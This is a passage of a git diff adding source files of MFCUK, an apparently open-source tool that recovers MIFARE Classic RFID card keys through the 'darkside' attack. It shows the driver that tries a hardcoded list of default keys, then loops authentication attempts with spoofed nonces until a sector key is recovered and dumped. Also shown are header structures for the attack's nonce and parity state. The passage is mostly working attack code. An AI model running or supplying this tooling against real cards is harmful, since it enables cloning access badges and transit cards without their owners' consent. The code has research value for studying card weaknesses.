(not-ok) - cannot differentiate + if ( !(sector = atoi(token)) && (token[0] != '0') ) + { + fprintf(stderr, "WARN: non-numeric sector argument (%s)\n", token); + return 1; + } + + // We don't know apriori whether loaded dump or the card on the reader is 1K or 4K, so assume validity for 4K + if ( (sector != -1) && !is_valid_sector(MIFARE_CLASSIC_4K, sector) ) + { + fprintf(stderr, "WARN: invalid sector argument (%d)\n", sector); + return 1; + } + else + { + for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action; + ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action; + } + } + break; + // Here is the key-type argument + // after case 0, we can assume sector is a safe and valid sector + case 1: + switch(token[0]) + { + case 'A': + case 'B': + specific_key_type = keyA + (token[0] - 'A'); + + // Invalidate all the opposite keys + for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + ptr_trailer->abtAccessBits[ACTIONS_KEY_B * (1 - (token[0]-'A'))] &= (~action); + } + break; + default: + specific_key_type = 0; + + // Validate all the key-types + for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= action; + ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= action; + } + break; + } + break; + // Here is the key argument + // after case 0, we can assume sector is a safe and valid sector + case 2: + // Recovery does not need a key + if (ch == 'R') + { + break; + } + + memset(&keyOpt, 0, MIFARE_CLASSIC_KEY_BYTELENGTH); + + if ( strlen(token) != (MIFARE_CLASSIC_KEY_BYTELENGTH*2) ) + { + // accept only 12 hex digits (fully qualified) Mifare Classic keys + fprintf(stderr, "WARN: invalid length key argument (%s)\n", token); + break; + } + + for (st=0; st < MIFARE_CLASSIC_KEY_BYTELENGTH; st++) + { + if ( !is_hex(token[2 * st]) || !is_hex(token[2 * st + 1]) ) + { + // bad input hex string + fprintf(stderr, "WARN: invalid hex chars in key argument (%s)\n", token); + break; + } + keyOpt[st] = hex2bin(token[2 * st], token[2 * st + 1]); + } + + for (i = ( (sector==-1)?(0):(sector) ); i < ( (sector==-1)?(MIFARE_CLASSIC_4K_MAX_SECTORS):(sector+1) ); i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + if ( !specific_key_type || specific_key_type == keyA ) + { + memcpy( &(ptr_trailer->abtKeyA[0]), keyOpt, sizeof(keyOpt)); + ptr_trailer->abtAccessBits[ACTIONS_KEY_A] |= ACTIONS_KEYSET; + } + + if ( !specific_key_type || specific_key_type == keyB ) + { + memcpy( &(ptr_trailer->abtKeyB[0]), keyOpt, sizeof(keyOpt)); + ptr_trailer->abtAccessBits[ACTIONS_KEY_B] |= ACTIONS_KEYSET; + } + } + break; + // We do not support any other arguments for now for -R/-V option + default: + break; + } + str = NULL; + iter++; + } + break; + case 'i': + // Input simple dump file of type mifare_tag, Options i and I are autoexclusive + if (!bfOpts['i'] && !bfOpts['I']) + { + if ( !mfcuk_load_tag_dump(optarg, &(dump_loaded_tag.tag_basic)) ) + { + fprintf(stderr, "WARN: Unable to load tag dump from '%s'\n", optarg); + } + else + { + bfOpts[ch] = true; + } + } + break; + case 'I': + // // Input extended dump file of type mifare_tag_ext, Options i and I are autoexclusive + if (!bfOpts['i'] && !bfOpts['I']) + { + if ( !mfcuk_load_tag_dump_ext(optarg, &(dump_loaded_tag)) ) + { + fprintf(stderr, "WARN: Unable to load tag dump from '%s'\n", optarg); + } + else + { + bfOpts[ch] = true; + } + } + break; + case 'o': + case 'O': + // // Output simple/extended dump file, Options o and O are autoexclusive + if (!bfOpts['o'] && !bfOpts['O']) + { + strncpy( strOutputFilename, optarg, sizeof(strOutputFilename) ); + bfOpts[ch] = true; + } + break; + // Run just test-cases for verifying the correctnes of is_ and get_ block/sector functions + case 't': + // Requested test of Mifare Classic 1K Blocks and Sectors functionality + test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_1K); + bfOpts[ch] = true; + break; + case 'T': + // Requested test of Mifare Classic 4K Blocks and Sectors functionality + test_mifare_classic_blocks_sectors_functions(MIFARE_CLASSIC_4K); + bfOpts[ch] = true; + break; + case 'h': + // Help screen + print_usage(stdout); + return 0; + break; + case '?': + default: + // Help screen, on error output + fprintf(stderr, "ERROR: Unknown option %c\n\n", ch); + print_usage(stderr); + return 1; + break; + } + } + + // If tests were requested, exit + if ( bfOpts['t'] || bfOpts['T'] ) + { + return 0; + } + + // In case default keys requested (and maybe more specified on command line), + // print the default keys which will be used + if ( bfOpts['D'] ) + { + if (bfOpts['v'] && (verboseLevel > 0)) + { + printf("DEFAULT KEYS:\n"); + + // Skip the key at index 0, since it is initially 0x0 and is reserved for the loaded dump key + for (i=1; i 0)) + { + print_mifare_tag_keys("LOADED TAG DUMP", &(dump_loaded_tag.tag_basic)); + } + + // Overwrite from the loaded dump only the keys for sectors and keys which were not specified on command line + for (i=0; i < MIFARE_CLASSIC_4K_MAX_SECTORS; i++) + { + // TODO: proper error handling for block and ptr_trailer + block = get_trailer_block_for_sector(MIFARE_CLASSIC_4K, i); + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + ptr_trailer_dump = (mifare_block_trailer *) ((char *)(&dump_loaded_tag.tag_basic) + (block * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + // If no command line keyA is set, copy from loaded dump + if ( !(ptr_trailer->abtAccessBits[ACTIONS_KEY_A] & ACTIONS_KEYSET) ) + { + memcpy( &(ptr_trailer->abtKeyA[0]), &(ptr_trailer_dump->abtKeyA[0]), MIFARE_CLASSIC_KEY_BYTELENGTH); + // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD + } + + // If no command line keyB is set, copy from loaded dump + if ( !(ptr_trailer->abtAccessBits[ACTIONS_KEY_B] & ACTIONS_KEYSET) ) + { + memcpy( &(ptr_trailer->abtKeyB[0]), &(ptr_trailer_dump->abtKeyB[0]), MIFARE_CLASSIC_KEY_BYTELENGTH); + // TODO: think if to make this sector ACTIONS_KEYSET or introduce a new value ACTIONS_KEYLOAD + } + } + + // If no command line UID supplied and not tag-type specified, copy the manufacturer block from the loaded dump + if ( !bfOpts['U'] && !bfOpts['M'] ) + { + ptr_trailer = (mifare_block_trailer *) ((char *)(&tag_recover_verify.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + ptr_trailer_dump = (mifare_block_trailer *) ((char *)(&dump_loaded_tag.tag_basic) + (0 * MIFARE_CLASSIC_BYTES_PER_BLOCK) ); + + memcpy( ptr_trailer, ptr_trailer_dump, sizeof(*ptr_trailer) ); + tag_recover_verify.type = tag_recover_verify.tag_basic.amb[0].mbm.btUnknown; + tag_recover_verify.uid = swap_endian32(tag_recover_verify.tag_basic.amb[0].mbm.abtUID); + } + } + + // READER INITIALIZATION BLOCK + // Try to open the NFC reader + pnd = nfc_connect(NULL); + + if (pnd == NULL) + { + fprintf(stderr, "ERROR: connecting to NFC reader\n"); + return 1; + } + + if ( !nfc_initiator_init(pnd) ) + { + fprintf(stderr, "ERROR: initializing NFC reader: %s\n", pnd->acName); + nfc_disconnect(pnd); + return 1; + } + + printf("\nINFO: Connected to NFC reader: %s\n\n", pnd->acName); + + // Select tag and get tag info + if ( !mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti) ) + { + fprintf(stderr, "ERROR: selecting tag on the reader %s\n", pnd->acName); + nfc_disconnect(pnd); + return 1; + } + + mfcuk_darkside_reset_advanced(pnd); + + // Tag on the reader type + tag_on_reader.type = ti.nai.btSak; + tag_on_reader.tag_basic.amb[0].mbm.btUnknown = ti.nai.btSak; + + // No command line tag type specified, take it from the tag on the reader + if ( !bfOpts['M'] ) + { + tag_recover_verify.type = ti.nai.btSak; + tag_recover_verify.tag_basic.amb[0].mbm.btUnknown = ti.nai.btSak; + } + + // Tag on the reader UID + tag_on_reader.uid = swap_endian32(ti.nai.abtUid); + memcpy( tag_on_reader.tag_basic.amb[0].mbm.abtUID, ti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH); + + // No command line tag UID specified, take it from the tag on the reader + if ( !bfOpts['U'] ) + { + tag_recover_verify.uid = swap_endian32(ti.nai.abtUid); + memcpy( tag_recover_verify.tag_basic.amb[0].mbm.abtUID, ti.nai.abtUid, MIFARE_CLASSIC_UID_BYTELENGTH); + } + + if (bfOpts['v'] && (verboseLevel > 0)) + { + print_mifare_tag_actions("\n\nINITIAL ACTIONS MATRIX", &(tag_recover_verify.tag_basic)); + } + + max_sectors = (IS_MIFARE_CLASSIC_1K(tag_recover_verify.type)?MIFARE_CLASSIC_1K_MAX_SECTORS:MIFARE_CLASSIC_4K_MAX_SECTORS); + + // VERIFY KEYS CODE-BLOCK + printf("\nVERIFY: "); + for (k = keyA; k <= keyB; k++) + { + // Print key-type for which we are looping the sectors for verification + printf("\n\tKey %c sectors:", 'B'-(keyB-k)); + + for (i=0; iabtAccessBits[action_byte] & ACTIONS_VERIFY) && !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY); j++) + { + // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs + mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic)); + + // The first spot in the current_default_keys, is reserved to the key from the loaded dump or from command line + // If not present (dump or command line), the key of this key-type k for current sector i will be 000000000000 + if (j == 0) + { + memcpy( &(current_default_keys[0][0]), (k==keyA)?(&(ptr_trailer->abtKeyA[0])):((&(ptr_trailer->abtKeyB[0]))), MIFARE_CLASSIC_KEY_BYTELENGTH ); + } + + if ( !mfcuk_key_arr_to_uint64( &(current_default_keys[j][0]), &crntVerifKey) ) + { + fprintf(stderr, "WARN: mfcuk_key_arr_to_uint64() failed, verification key will be %012llx\n", crntVerifKey); + } + + /* + // TODO: make this kind of key verification as part of option -a - advanced verification of keys with crapto1 rollback for double verification + // TEST + nfc_disconnect(pnd); + + // Try to open the NFC reader + pnd = nfc_connect(NULL); + + if (pnd == NULL) + { + fprintf(stderr, "ERROR: connecting to NFC reader\n"); + return 1; + } + + if ( !nfc_initiator_init(pnd) ) + { + fprintf(stderr, "ERROR: initializing NFC reader: %s\n", pnd->acName); + nfc_disconnect(pnd); + return 1; + } + // TEST + + uiErrCode = mfcuk_verify_key_block(pnd, crntVerifUID, crntVerifKey, k, crntVerifTagType, block); + + if ( uiErrCode == MFCUK_SUCCESS ) + { + // Mark current key-type as verified + ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY; + + // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched + memcpy( (k==keyA)?(ptr_trailer->abtKeyA):(ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH); + } + else + { + fprintf(stderr, "ERROR: AUTH sector %d, block %d, key %012llx, key-type 0x%02x, error code 0x%02x\n", i, block, crntVerifKey, k, uiErrCode); + } + + // Reset advanced settings + mfcuk_darkside_reset_advanced(pnd); + */ + + memcpy(mp.mpa.abtUid, tag_recover_verify.tag_basic.amb[0].mbm.abtUID, MIFARE_CLASSIC_UID_BYTELENGTH); + memcpy(mp.mpa.abtKey, &(current_default_keys[j][0]), MIFARE_CLASSIC_KEY_BYTELENGTH); + + if ( !nfc_initiator_select_tag(pnd, NM_ISO14443A_106, NULL, 0, &ti) ) + { + fprintf(stderr, "ERROR: tag was removed or cannot be selected\n"); + } + + if ( !nfc_initiator_mifare_cmd(pnd, k, block, &mp) ) + { + fprintf(stderr, "ERROR: AUTH sector %d, block %d, key %012llx, key-type 0x%02x, error code 0x%02x\n", i, block, crntVerifKey, k, uiErrCode); + } + else + { + // Mark current key-type as verified + ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_VERIFY; + + // Copy default key on top of dump only in case default keys option was specified in command line and the default key matched + memcpy( (k==keyA)?(ptr_trailer->abtKeyA):(ptr_trailer->abtKeyB), current_default_keys[j], MIFARE_CLASSIC_KEY_BYTELENGTH); + } + } // for (j = 0; (j < crntNumVerifKeys); j++) + } // for (i=0; i 0) ) + { + print_mifare_tag_actions("\n\nACTION RESULTS MATRIX AFTER VERIFY", &(tag_recover_verify.tag_basic)); + } + + // RECOVER KEYS CODE-BLOCK + printf("\nRECOVER: "); + for (i=0; iabtAccessBits[action_byte] & ACTIONS_RECOVER) && + !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_VERIFY) && + !(ptr_trailer->abtAccessBits[result_byte] & ACTIONS_RECOVER) + ) + { + // TODO: think of proper mechanism. this is temporary workaround in cases when reader hangs + mfcuk_save_tag_dump("./snapshot.mfd", &(tag_recover_verify.tag_basic)); + + // TEST + // Before starting a new recovery session, disconnect and reconnect to reader and then tag + nfc_disconnect(pnd); + + // Try to open the NFC reader + pnd = nfc_connect(NULL); + + if (pnd == NULL) + { + fprintf(stderr, "ERROR: connecting to NFC reader\n"); + return 1; + } + + if ( !nfc_initiator_init(pnd) ) + { + fprintf(stderr, "ERROR: initializing NFC reader: %s\n", pnd->acName); + nfc_disconnect(pnd); + return 1; + } + // TEST + + // Every new recovery session needs this "sort-of" initializing the entries + memset((void *)arrSpoofEntries, 0, sizeof(arrSpoofEntries)); + numSpoofEntries = 0; + numAuthAttempts = 0; + + // Recovery loop for current key-type of current sector + do + { + mfcuk_darkside_select_tag(pnd, iSleepAtFieldOFF, iSleepAfterFieldON, &ti); + + // Print usefull/useless info (sort-of "Let me entertain you!") + if ( bfOpts['v'] && (verboseLevel > 2) ) + { + printf("\n-----------------------------------------------------\n"); + printf("Let me entertain you!\n"); + printf(" uid: %08x\n", tag_recover_verify.uid); + printf(" type: %02x\n", tag_recover_verify.type); + printf(" key: %012llx\n", crntRecovKey); + printf(" block: %02x\n", block); + printf("diff Nt: %d\n", numSpoofEntries); + printf(" auths: %d\n", numAuthAttempts); + printf("-----------------------------------------------------\n"); + } + + uiErrCode = mfcuk_key_recovery_block(pnd, tag_recover_verify.uid, crntRecovKey, j, tag_recover_verify.type, block, &ui64KeyRecovered); + + if ( uiErrCode != MFCUK_OK_KEY_RECOVERED && uiErrCode != MFCUK_SUCCESS && uiErrCode != MFCUK_FAIL_AUTH) + { + fprintf(stderr, "ERROR: mfcuk_key_recovery_block() (error code=0x%02x)\n", uiErrCode); + } + + mfcuk_darkside_reset_advanced(pnd); + + numAuthAttempts++; + } while (uiErrCode != MFCUK_OK_KEY_RECOVERED); + + // Store the recovered key A and mark key A for this sector as recovered in results + ptr_trailer->abtAccessBits[result_byte] |= ACTIONS_RECOVER; + + if ( !mfcuk_key_uint64_to_arr( &ui64KeyRecovered, (j == keyA)?(&(ptr_trailer->abtKeyA[0])):(&(ptr_trailer->abtKeyB[0])) ) ) + { + fprintf(stderr, "WARN: mfcuk_key_uint64_to_arr() failed, recovered key should have been %012llx\n", ui64KeyRecovered); + } + } + } // for (j=keyA; j<=keyB; j++) + } + printf("\n"); + + if ( bfOpts['v'] && (verboseLevel > 0) ) + { + print_mifare_tag_actions("\n\nACTION RESULTS MATRIX AFTER RECOVER", &(tag_recover_verify.tag_basic)); + } + + // DUMP DATA CODE-BLOCK + // TODO: write this code-block + /* + for (i=0; i 1) ) + { + printf("INFO: saved tag dump file to '%s'\n", strOutputFilename); + } + } + } + else if ( bfOpts['O'] ) + { + if ( !mfcuk_save_tag_dump_ext(strOutputFilename, &(tag_recover_verify)) ) + { + fprintf(stderr, "ERROR: could not save extended tag dump to '%s'\n", strOutputFilename); + } + else + { + if ( bfOpts['v'] && (verboseLevel > 1) ) + { + printf("INFO: saved extended tag dump file to '%s'\n", strOutputFilename); + } + } + } + + return 0; +} diff --git a/src/mfcuk_keyrecovery_darkside.h b/src/mfcuk_keyrecovery_darkside.h new file mode 100644 index 0000000..608ae28 --- /dev/null +++ b/src/mfcuk_keyrecovery_darkside.h @@ -0,0 +1,125 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_keyrecovery_darkside.h + + Description: + MFCUK DarkSide Key Recovery specific typedefs and defines + + Contact, bug-reports: + http://andreicostin.com/ + mailto:zveriu@gmail.com + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_keyrecovery_darkside.h + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and things from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef _MFCUK_KEYRECOVERY_DARKSIDE_H_ +#define _MFCUK_KEYRECOVERY_DARKSIDE_H_ + +// Define package and executable related info +#define PACKAGE_NAME "MFCUK - MiFare Classic Universal toolKit" +#define PACKAGE_VERSION "0.1" +#define BUILD_NAME "Mifare Classic DarkSide Key Recovery Tool" +#define BUILD_VERSION "0.3" +#define BUILD_AUTHOR "Andrei Costin, zveriu@gmail.com, http://andreicostin.com" + +// Define return statuses +#define MFCUK_SUCCESS 0x0 +#define MFCUK_OK_KEY_RECOVERED (MFCUK_SUCCESS+1) +#define MFCUK_FAIL_AUTH (MFCUK_OK_KEY_RECOVERED+1) +#define MFCUK_FAIL_CRAPTO (MFCUK_FAIL_AUTH+1) +#define MFCUK_FAIL_TAGTYPE_INVALID (MFCUK_FAIL_CRAPTO+1) +#define MFCUK_FAIL_KEYTYPE_INVALID (MFCUK_FAIL_TAGTYPE_INVALID+1) +#define MFCUK_FAIL_BLOCK_INVALID (MFCUK_FAIL_KEYTYPE_INVALID+1) +#define MFCUK_FAIL_SECTOR_INVALID (MFCUK_FAIL_BLOCK_INVALID+1) +#define MFCUK_FAIL_COMM (MFCUK_FAIL_SECTOR_INVALID+1) +#define MFCUK_FAIL_MEMORY (MFCUK_FAIL_COMM+1) + +// There are 4 bytes in ACBITS, use each byte as below +#define ACTIONS_KEY_A 0 // Specifies the byte index where actions for key A are stored +#define RESULTS_KEY_A 1 // Specifies the byte index where results for key A are stored +#define ACTIONS_KEY_B 2 // Specifies the byte index where actions for key B are stored +#define RESULTS_KEY_B 3 // Specifies the byte index where results for key B are stored + +// The action/result byte can contain any combination of these +#define ACTIONS_VERIFY 0x1 // Specifies whether the key should be first verified +#define ACTIONS_RECOVER 0x2 // Specifies whether the key should be recovered. If a key has verify action and the key was verified, RESULTS_ byte will indicate that and recovery will not take place +#define ACTIONS_KEYSET 0x4 // Specifies whether the key was set from command line rather that should be loaded from the eventual -i/-I dump + +// Implementation specific, since we are not 100% sure we can fix the tag nonce +// Suppose from 2^32, only MAX 2^16 tag nonces will appear given current SLEEP_ values +#define MAX_TAG_NONCES 65536 +// Maximum possible states allocated and returned by lsfr_common_prefix(). Used this value in the looping +#define MAX_COMMON_PREFIX_STATES (1<<20) +// 10 ms, though {WPMCC09} claims 30 us is enough +#define SLEEP_AT_FIELD_OFF 10 +// 50 ms, seems pretty good constant, though if you don't like it - make it even 3.1415..., we don't care +#define SLEEP_AFTER_FIELD_ON 50 +// Since the 29 bits of {Nr} are constant, darkside varies only "last" (0xFFFFFF1F) 3 bits, thus we have 8 possible parity bits arrays +#define MFCUK_DARKSIDE_MAX_LEVELS 8 + +#define MFCUK_DARKSIDE_START_NR 0xDEADBEEF +#define MFCUK_DARKSIDE_START_AR 0xFACECAFE + +typedef struct tag_nonce_entry +{ + uint32_t tagNonce; // Tag nonce we target for fixation + byte_t spoofFlag; // No spoofing until we have a successful auth with this tagNonce. Once we have, we want to spoof to get the encrypted 0x5 value + uint32_t num_of_appearances; // For statistics, how many times this tag nonce appeared for the given SLEEP_ values + + // STAGE1 data for "dark side" and lsfr_common_prefix() + uint32_t spoofNrPfx; // PARAM: used as pfx, calculated from (spoofNrEnc & 0xFFFFFF1F). BUG: weird way to denote "first 29 prefix bits" in "dark side" paper. Perhaps I see the world different + uint32_t spoofNrEnc; // {Nr} value which we will be using to make the tag respond with 4 bits + uint32_t spoofArEnc; // PARAM: used as rr + uint8_t spoofParBitsEnc; // parity bits we are trying to guess for the first time + uint8_t spoofNackEnc; // store here the encrypted NACK returned first time we match the parity bits + uint8_t spoofKs; // store here the keystream ks used for encryptying spoofNackEnc, specifically spoofKs = spoofNackEnc ^ 0x5 + + // STAGE2 data for "dark side" and lsfr_common_prefix() + int current_out_of_8; // starting from -1 until we find parity for chosen spoofNrEnc,spoofArEnc + uint8_t parBitsCrntCombination[MFCUK_DARKSIDE_MAX_LEVELS]; // Loops over 32 combinations of the last 5 parity bits which generated the 4 bit NACK in STAGE1 + uint32_t nrEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // the 29 bits constant prefix, varying only 3 bits, thus 8 possible values + uint32_t arEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // the same reader response as spoofArEnc; redundant but... :) + uint8_t ks[MFCUK_DARKSIDE_MAX_LEVELS]; // PARAM: used as ks, obtained as (ks[i] = nackEnc[i] ^ 0x5) + uint8_t nackEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // store here the encrypted 4 bits values which tag responded + uint8_t parBits[MFCUK_DARKSIDE_MAX_LEVELS]; // store here the values based on spoofParBitsEnc, varying only last 5 bits + uint8_t parBitsArr[MFCUK_DARKSIDE_MAX_LEVELS][8]; // PARAM: used as par, contains value of parBits byte-bit values just splitted out one bit per byte thus second pair of braces [8] +} tag_nonce_entry_t; + +#endif // _MFCUK_KEYRECOVERY_DARKSIDE_H_ diff --git a/src/mfcuk_mifare.c b/src/mfcuk_mifare.c new file mode 100644 index 0000000..aa27358 --- /dev/null +++ b/src/mfcuk_mifare.c @@ -0,0 +1,560 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_mifare.c + + Description: + MFCUK defines and function implementation file extending + mainly libnfc's "mifare.h" interface/functionality. + + Contact, bug-reports: + http://andreicostin.com/ + mailto:zveriu@gmail.com + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_mifare.c + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and functions from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "mfcuk_mifare.h" + +// Default keys used as a *BIG* mistake in many applications - especially System Integrators should pay attention! +byte_t mfcuk_default_keys[][MIFARE_CLASSIC_KEY_BYTELENGTH] = +{ + {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Place-holder for current key to verify + {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, + {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, + {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, + {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, + {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, + {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, + {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, + {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, +}; + +int mfcuk_default_keys_num = sizeof(mfcuk_default_keys)/sizeof(mfcuk_default_keys[0]); + +bool is_valid_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( IS_MIFARE_CLASSIC_1K(bTagType) && (uiBlock < MIFARE_CLASSIC_1K_MAX_BLOCKS) ) + { + return true; + } + + if ( IS_MIFARE_CLASSIC_4K(bTagType) && (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS) ) + { + return true; + } + + return false; +} + +bool is_valid_sector(byte_t bTagType, uint32_t uiSector) +{ + if ( IS_MIFARE_CLASSIC_1K(bTagType) && (uiSector < MIFARE_CLASSIC_1K_MAX_SECTORS) ) + { + return true; + } + + if ( IS_MIFARE_CLASSIC_4K(bTagType) && (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS) ) + { + return true; + } + + return false; +} + +bool is_first_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return false; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // For Mifare Classic 1K, it will enter always here + return ( (uiBlock) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) == 0 ); + } + else + { + // This branch will enter only for Mifare Classic 4K big sectors + return ( (uiBlock) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) == 0 ); + } + + // Should not reach here, but... never know + return false; +} + +bool is_trailer_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return false; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // For Mifare Classic 1K, it will enter always here + return ( (uiBlock+1) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) == 0 ); + } + else + { + // This branch will enter only for Mifare Classic 4K big sectors + return ( (uiBlock+1) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) == 0 ); + } + + // Should not reach here, but... never know + return false; +} + +uint32_t get_first_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // Integer divide, then integer multiply + return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1; + } + else + { + uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; + return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2; + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +uint32_t get_trailer_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // Integer divide, then integer multiply + return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1 + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1-1); + } + else + { + uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; + return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2 + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2-1); + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +bool is_big_sector(byte_t bTagType, uint32_t uiSector) +{ + if ( !is_valid_sector(bTagType, uiSector) ) + { + return false; + } + + if (uiSector >= MIFARE_CLASSIC_4K_MAX_SECTORS1) + { + return true; + } + + return false; +} + +uint32_t get_first_block_for_sector(byte_t bTagType, uint32_t uiSector) +{ + if ( !is_valid_sector(bTagType, uiSector) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + if (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS1) + { + // For Mifare Classic 1K, it will enter always here + return (uiSector * 